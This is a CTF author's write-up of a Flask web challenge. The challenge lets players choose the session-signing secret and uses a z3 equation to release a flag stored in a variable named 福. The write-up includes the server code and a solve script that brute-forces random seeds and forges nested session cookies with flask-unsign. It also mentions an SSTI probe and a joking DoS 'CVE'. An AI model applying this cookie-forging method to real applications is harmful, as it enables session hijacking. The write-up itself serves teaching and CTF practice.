Well, I knew I wanted to use flask, because I was most comfortable with python and I could use z3-solver as a module for the backend. I also knew that I wanted players to solve an equation and derive `31119`, so `eval(chr(31119))` could read the `福` variable. (the flag)
At first, I thought of making the equation ridiculously hard ([Sum of three cubes problem](https://en.wikipedia.org/wiki/Sums_of_three_cubes)), but thankfully, saner thoughts prevailed.
I took a look at CTF writeups involving flask web applications and almost all of them involved SSTI or leaking the flask session cookie signing secret and using [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) to sign your own session cookies.
I thought this was pretty boring. To me, using `{{7*7}}` and bruteforcing session cookies seemed pretty much like every other challenge out there.
After a lot of pondering, and serious consideration on whether I should kill this project, I decided to turn the turntables again. If flask challenges were usually about leaking the session cookie signing secret, ***I would let the players set the signing secrets themselves.***
### Solution
The flag is stored as a variable with the 福 (fú) character, which has a charcode of [31119](https://gchq.github.io/CyberChef/#recipe=To_Charcode\('Space',10\)\&input=56aP).
We'll be looking to set `result` to 31119 so `return eval(chr(result))` prints the flag.
```python
with open('flag.txt') as flag:
contents = flag.read()
福 = contents.strip()
#------------> Snip!
if result is not None:
return eval(chr(result))
else:
return 'Bad Luck.'
```
The /福 endpoint only accepts POST requests and a single `key` parameter. This is then set to `app.config['SECRET_KEY']`, which is what flask uses to [sign session cookies](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY).
While the `app.config['SECRET_KEY']` is not necessary for *decoding* session keys. The secret used to sign session cookies must equal `app.config['SECRET_KEY']` for it to be considered as the `session` object.
```python
keys = []
#------------> Snip!
@app.route('/福', methods=['POST'])
def fortold():
keys.clear()
start = request.form.get('key')
app.config['SECRET_KEY'] = start
replace_secret_key()
value = [secret(key) for key in keys]
result = solve(*value)
if result is not None:
return eval(chr(result))
else:
return 'Bad Luck.'
```
#### Just leak the SECRET\_KEY... oh wait.
Essentially, the `replace_secret_key()` function is a recursive function that stores the `session['key']` attribute and updates itself with the `sesssion['session']` attribute. It does so until the `session['key']` attribute is in the `keys` array and has the `session['end']` attribute.
```python
def replace_secret_key():
if 'key' in session and session['key'] not in keys:
keys.append(session['key'])
app.config["SECRET_KEY"] = session['key']
if 'session' in session and 'end' not in session:
new_session = session['session']
session.update(decrypt_cookie(new_session))
replace_secret_key()
```
#### Wait... secret?
Next, the values of `key` are passed to the `secret()` function. These values are used to set the `random.seed` and generate a random integer from 8 to 88888 (inclusive). These values are then passed to the `solve()` function
```python
def secret(key):
random.seed(key)
return random.randint(8, 88888)
```
#### solve()-ing the challenge
The `solve()` function uses [z3](https://pypi.org/project/z3-solver/) to check if the 5 values:
$$a,b,c,d,f$$
pass to the `solve()` function satisfy the equation:
$$8 \le a,b,c,d,e,f \le 88888, \quad a,b,c,d,e,f \in \mathbb{Z}^+$$
$$(a^3) \cdot (b^2 + c^2) \cdot (2d + 1) = e^3 + f^3$$
As e is returned by the function, this implies that:
$$e = 31119, e < f$$
> z3 will "assign" the lower values to the variables on the left and higher values to the variables on the right.
> Remember that `secret()` can only generate values between 8 and 88888, so those are the bounds.
```python
def solve(a_value, b_value, c_value, d_value, f_value):
# Create the variables
a, b, c, d, e, f = Ints('a b c d e f')
# Set the relationships between the variables
constraints = [And(8 <= v) for v in [a, b, c, d, e, f]]
constraints += [a == a_value]
constraints += [b == b_value]
constraints += [c == c_value]
constraints += [d == d_value]
constraints += [f == f_value]
constraints += [(a ** 3) * (b**2 + c**2) * (2*d + 1) == (e**3) + (f**3)]
# Find a satisfying solution
s = Solver()
s.add(constraints)
if s.check() == sat:
m = s.model()
return int(m[e].as_long())
else:
return None
```
There are many solutions to this problem( the simplest using [prime factorization](https://www.wolframalpha.com/input?i=solve+%2841%5E3%29%28b%5E2%2Bc%5E2%29%282d%2B1%29++%3D++%282%29%2831119%5E3%29+over+the+integers+)). For the purposes of this solution, I will be using
$$f = 88888$$
which yields
$$a = 41, b = 1728, c = 803, d = 1463$$
> What an auspicious value! 😊🧧
#### Tying it all together
First I'll use itertools to find valid seeds that generate the correct math variables.
```python
import random
import itertools
def secret(value):
random.seed(value)
return random.randint(8, 88888)
values_to_find = [41, 1728, 803, 1463, 88888]
found_values = []
for combination in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=4):
input_value = ''.join(combination)
result = secret(input_value)
if result in values_to_find:
found_values.append(input_value)
values_to_find.remove(result)
print(result)
if not values_to_find:
print("Found all four values at index:", found_values)
break
'''
cdsn:41
aqoi:1728
ewmu:803
aucl:1463
bphi:88888
'''
```
Next I'll use flask-unsign to recursively sign a flask session key.
```python
import requests
import subprocess
SECRET_KEYS = ["cdsn","aqoi","ewmu","aucl","bphi"]
def generate_cookie(secret_key,index=0):
if index == len(SECRET_KEYS):
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"end": "' + secret_key + '"}', '--secret', secret_key])
return cmd_out.decode('utf-8').strip()
else:
session_hash = generate_cookie(SECRET_KEYS[index], index+1)
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"key": "' + SECRET_KEYS[index] + '","session":"' + session_hash + '"}', '--secret', secret_key])
return cmd_out.decode('utf-8').strip()
cookie = {'session' : generate_cookie(SECRET_KEYS[0])}
data = {"key":'cdsn'}
response = requests.post('http://福.web.seetf.sg:1337/%E7%A6%8F', cookies=cookie, data=data, proxies={'http':'http://localhost:8080'})
print(response.text)
'''
cdsn:41
aqoi:1728
ewmu:803
aucl:1463
bphi:88888
'''
```
Finally, I can send a POST request to /福 with my cookie!
## Ticket
During the CTF I got a ticket from Elma. Apparently, their solution was deriving 31119, but Flask just wasn't returning the flag. In fact, when zeyu checked the instance, even our intended solve script stopped working.\
\
Unfortunately, the CTF concluded before I could respond to Elma's ticket, but I promised to take a closer look at their solve script.\
\
Well, the problem with the solve script was that Elma used integers as seeds for the key instead of strings. Flask uses `hmac.py` for signing/unsigning session cookies, and the `new()` function expects a bytearray or bytes.\
\
When `app.config["SECRET_KEY"]` is set to an integer, an error is raised and Flask responds with a 500 Error even though it's supposed to return the flag.
In fact, this causes DOS for any request involving session cookies as Flask throws this error when trying to unsign session cookies.
CVE-2023-jk: DOS in Flask by setting app.config["SECRET_KEY"] to integer
## Retrospect
Looking back, I think this was an okay first attempt at writing a challenge. I learned a lot about how docker and docker-compose, as well as about CTF challenge infrastructure.\
\
I think the idea of using z3 and allowing players to sign their own key was nice. I'm glad I didn't make the equation any harder than it is because as my fellow CTF team member [Jules ](https://juliapoo.github.io/)mentioned: If I made it any harder then it should be a crypto challenge.
Unfortunately, time constraints were a big issue. If the challenged felt rushed or not well thought out, that's because it was. At that time, I was busy studying for the [OSWE](https://www.offsec.com/courses/web-300/), and whipped out the challenge in a day.
## Conclusion
I'd like to offer my heartfelt thanks to Zeyu and the rest of the members from SEE for organizing SEETF! It was an incredible experience that I'll cherish.
maybe the real 福 was the friends we made along the way